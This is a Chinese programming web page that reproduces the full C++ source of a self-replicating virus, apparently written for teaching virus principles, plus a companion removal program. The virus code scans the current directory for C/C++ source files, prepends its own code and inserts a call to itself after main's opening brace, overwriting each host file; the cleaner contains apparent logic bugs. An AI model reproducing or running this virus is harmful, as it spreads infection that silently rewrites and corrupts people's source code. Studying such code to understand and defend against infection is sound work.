1. 程式人生 > 其它 >c/c++病毒程式

c/c++病毒程式

//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程式僅供病毒原理學習之用
//請勿用此程式進行破壞計算機之行為,否則由此引發之後果自負
//保留所有權利,東北大學秦皇島分校2009年6月1日
void vir()
{
string CurFileName = __FILE__;//絕對路徑
string obCurFileName          //相對路徑
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒程式碼
string FileCode[500]; //宿主程式碼

int CodeLen = 0;//病毒程式碼長度
int FileLen = 0;//宿主程式碼長度

//病毒函式呼叫應當插在"main("後面的第一個"{"後面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;

//提取待傳播的當前檔案中的病毒程式碼
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主檔案
while (true)
{
   //不能感染當前.cpp檔案和已感染的檔案
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!/n";
   }
   else//感染其它檔案
   {
    //載入宿主檔案
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//該檔案已被感染
    {
     cout<<FindFileData.cFileName<<":已攜帶了病毒!/n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":檔案太大了!/n";
    }
    else
    {
     //開啟宿主檔案
     ofstream be(FindFileData.cFileName);
     //插入病毒程式碼
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函式呼叫位置前文字插入
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函式呼叫vir()
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"/nvir();");
       break;
      }
     }
     //病毒函式呼叫位置後插入剩餘文字
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!/n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main()
{
vir();
return 0;
}
防毒程式:
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程式僅供病毒原理學習之用
//請勿用此程式進行破壞計算機之行為,否則由此引發之後果自負
//保留所有權利,東北大學秦皇島分校2009年6月1日
void revir()
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

string FileCode[500];

//病毒函式呼叫應當插在"main"後面的第一個"{"後面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主檔案 
while (true)
{
   //載入檔案
   int FileLen = 0; //宿主程式碼長度
   int MainLoc = 0; //主函式位置
  
   ifstream ibe(FindFileData.cFileName);
   getline(ibe,FileCode[0]);
  
   if(FileCode[0] == "//START")//當前檔案被感染過
   {
    //病毒程式碼要過慮掉
    for(FileLen = 0;getline(ibe,FileCode[0]);)
    {
     if(FileCode[FileLen] == "//END")
     {
      break;
     }
    }
    //宿主未感染前的程式碼
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if(FileCode[FileLen].find("main") != -1)
     {
      MainLoc = FileLen;
     }
    }
   
    //清除主檔案中的函式呼叫
    for (int i = MainLoc;i < FileLen;i++)
    {
     if(FileCode[i].find('{') != -1)
     {
      FileCode[i + 1] = "";
      break;
     }
    }
    ibe.close();
   
    ofstream be(FindFileData.cFileName);
    for(int i = 0;i < FileLen;i++)
    {
     be<<FileCode[i]<<endl;
    }
    be.close();
    cout<<FindFileData.cFileName<<":病毒清除成功/n";
   }
   cout<<FindFileData.cFileName<<":沒有被感染!/n";
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int main()
{
revir();
return 0;
}